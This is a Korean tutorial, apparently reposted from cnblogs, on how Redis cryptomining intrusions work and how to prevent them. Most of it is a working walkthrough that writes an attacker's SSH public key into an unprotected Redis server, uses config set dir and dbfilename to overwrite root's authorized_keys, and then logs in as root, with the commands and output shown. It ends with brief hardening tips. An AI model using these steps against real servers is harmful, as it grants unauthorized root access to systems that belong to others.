>데이터 베이스 >Redis >Redis 마이닝의 원리와 예방 방법에 대한 간략한 분석(기술 공유)

Redis 마이닝의 원리와 예방 방법에 대한 간략한 분석(기술 공유)

青灯夜游
青灯夜游앞으로
2022-01-11 18:49:461847검색

이 글은 Redis 마이닝의 원리에 대해 이야기하고, 이를 예방하는 방법을 알아보고, 예방 기술을 공유하는 것이 모든 사람에게 도움이 되기를 바랍니다.

Redis 마이닝의 원리와 예방 방법에 대한 간략한 분석(기술 공유)

저자님도 마이닝 바이러스 공격을 받았는데, 그게 굉장히 불편했지만, 사실 침입 수단을 이해한다면 예방하는 것은 매우 쉽습니다. 오늘은 이를 얻는 방법을 보여드리겠습니다. Redis 권한 상승을 통해 원격 서버의 루트 사용자. [관련 권장 사항: Redis 비디오 튜토리얼]

1. 먼저 몇 가지 전제 조건이 필요합니다

  • 조건 1: 먼저 Redis가 있어야 하며 해당 포트를 알아야 합니다. [기본값 6379];

    조건 2: Redis의 비밀번호는 너무 복잡하거나 비밀번호가 없습니다.
  • 조건 3: Redis를 시작하는 사용자는 가급적 파괴적입니다.
  • 2. 문제 발생

2.1 비밀 키 쌍 만들기
  • ssh-keygen을 통해 쌍을 생성합니다. 물론 이미 가지고 있는 비밀 키를 문제 없이 사용할 수 있습니다.
  • root@kali:/usr/local/src# ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
다음으로 공개키를 통해 공격키 값을 생성합니다.

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt

내용은 다음과 같습니다

root@kali:/tmp/rediskey# cat foo.txt 

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali

여기 앞뒤에 두 개의 줄바꿈을 추가하는 목적은 데이터가 서로 연결되어 오류 문제가 발생하는 것을 방지하기 위한 것입니다.

2.2 Redis에 키 구성
  • 작업은 다음과 같습니다.
  • root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
    OK
Redis에 로그인하여 Redis에 기록되었는지 확인합니다.

root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129
192.168.243.129:6379> get bar
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"

2.3 Redis 저장 메커니즘을 통해 시스템 파일 교체
  • 다음 작업을 살펴보겠습니다.
  • 192.168.243.129:6379> config set dir /root/.ssh
    OK
    192.168.243.129:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    192.168.243.129:6379> config set dbfilename "authorized_keys"
    OK
    192.168.243.129:6379> save
    OK
    192.168.243.129:6379> exit
이번에는 원격 호스트에 로그인하여 효과를 확인합니다.

root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129
The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established.
ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts.
Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64

Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1
root@kali:~# w

자, 이제 권리 에스컬레이션이 성공적으로 완료되었으니 내보낸 파일이 무엇인지 살펴볼까요? 사실 그냥 Redis의 저장된 파일 형태이니 관심 있으신 분들은 직접 열어서 보시면 될 것 같습니다.

3. 예방 방법

이 취약점은 매우 강력합니다. 이제 호스트 권한이 하나만 있으므로 일부 스크립트를 실행한 다음 일괄적으로 감염시키는 것은 어떻습니까?

예방 팁은 다음과 같습니다.

Redis는 위험한 IP를 수신해서는 안 됩니다. 그렇다면 방화벽 제어를 추가하세요.
  • Redis는 비밀번호 제한을 강화해야 하며, 이는 취약한 비밀번호가 될 수 없습니다.
  • Redis는 루트 사용자로 시작하지 않도록 노력해야 합니다.

  • Redis 채굴을 방지하려면 위의 세 가지 사항을 따르세요. 문제 없습니다.

    더 많은 프로그래밍 관련 지식을 보려면
  • 프로그래밍 소개
를 방문하세요! !

위 내용은 Redis 마이닝의 원리와 예방 방법에 대한 간략한 분석(기술 공유)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 cnblogs.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제